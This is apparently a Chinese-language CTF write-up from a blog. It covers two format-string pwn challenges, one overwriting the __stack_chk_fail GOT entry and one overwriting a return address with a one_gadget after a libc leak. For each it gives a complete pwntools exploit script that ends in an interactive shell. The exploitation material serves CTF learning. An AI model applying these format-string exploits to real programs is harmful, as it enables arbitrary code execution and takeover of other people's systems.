栈上格式化字符串漏洞修改stack_checkfail

 栈上格式化字符串漏洞修改stack_checkfail

 checksec指令查看

用64位IDA打开分析

 从IAD中我们可以看出它存在栈溢出,格式化字符串漏洞,还有canary保护,我们无法直接利用栈溢出。

我们知道canary保护开启之后,会产生随机数值,如果修改的话程序就会自动退出,这里程序自动退出就是靠stack_chk_fail函数

我们可以利用格式化字符串漏洞去修改stack_chk_fail函数的got表使得程序继续进行,在这里,我们将stack_chk_fail函数改成fmt函数,然后通过格式化字符串漏洞去泄露libc基址

先找到偏移为6

再通过pay=fmtstr_payload(偏移,{要改的内容:改成什么东西})

到这里stack_chk_fail函数的got表已经修改成功

接下来通过read函数将printf函数的got表读入程序里面

这一行pay=(b'%7$saaaa'+p64(elf.got['printf'])).ljust(0x100,b'\x00')后面的.ljust(0x100,b'\x00')是因为读入的字节较少,不足以覆盖canary的数值,所以在任意读入较大的数值就行

下面就是去泄露libc的基址然后通过one_gadget库去获取权限

因为

所以这里仍然选择r15,rdx为空的偏移

到这里本地调试就打通啦!

 脚本如下:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn3")
elf=ELF("./pwn3")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
	gdb.attach(p)
	pause()

pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:(0x4011DD)})
bug()
p.send(pay)


pause()
pay=(b'%7$saaaa'+p64(elf.got['printf'])).ljust(0x100,b'\x00')
p.send(pay)


read_addr=u64(p.recvuntil("\x7f")[-6:].ljust(8,b'\x00'))
print(hex(read_addr))
libc_base=read_addr-libc.sym['printf']
print(hex(libc_base))
one_gadget=libc_base+0xe3b01

pause()
pay=fmtstr_payload(6,{elf.got['__stack_chk_fail']:(one_gadget)})
p.send(pay)
p.interactive()

 栈上格式化字符串漏洞修改返回地址为one_gadget

 

checksec指令查看,64位,保护全开

IDA分析

在IDA中我们可以发现有stack_chk_fail函数,但是跟上面的题不同,因为保护全开,我们无法修改stack_chk_fail函数的got表

在这里我们可以看到程序发送'yes'之后会打印出printf函数的地址,这样就可以找出libc基址以及栈地址,我们可以想到利用格式化字符串漏洞修改返回地址为one_gadget

修改返回地址为one_gadge的条件是得有libc基址以及栈地址

这里就会打印出libc基址以及栈地址

接收之后,我们可以通过计算找出函数的偏移,然后找出函数的返回地址

最后就是将返回地址修改为one_gadget

 

脚本如下:

from pwn import*
context(os='linux',arch='amd64',log_level='debug')
p=process("./pwn4")
elf=ELF("./pwn4")
libc=ELF("/lib/x86_64-linux-gnu/libc.so.6")
def bug():
	gdb.attach(p)
	pause()

p.recvuntil('lbs 6 or not 6\n')
p.send(str('yes'))


p.recvuntil('0x')
libc_base=int(p.recv(12),16)-libc.sym['printf']

print(hex(libc_base))
one_gadget=libc_base+0xe3b01

p.recvuntil('0x')
stack=int(p.recv(12),16)+296


print(hex(stack))


bug()
pay=fmtstr_payload(6,{stack:one_gadget})
p.send(pay)




p.interactive()

  • 3
    点赞
  • 1
    收藏
    觉得还不错? 一键收藏
  • 0
    评论
评论
添加红包

请填写红包祝福语或标题

红包个数最小为10个

红包金额最低5元

当前余额3.43前往充值 >
需支付:10.00
成就一亿技术人!
领取后你会自动成为博主和红包主的粉丝 规则
hope_wisdom
发出的红包
实付
使用余额支付
点击重新获取
扫码支付
钱包余额 0

抵扣说明:

1.余额是钱包充值的虚拟货币,按照1:1的比例进行支付金额的抵扣。
2.余额无法直接购买下载,可以购买VIP、付费专栏及课程。

余额充值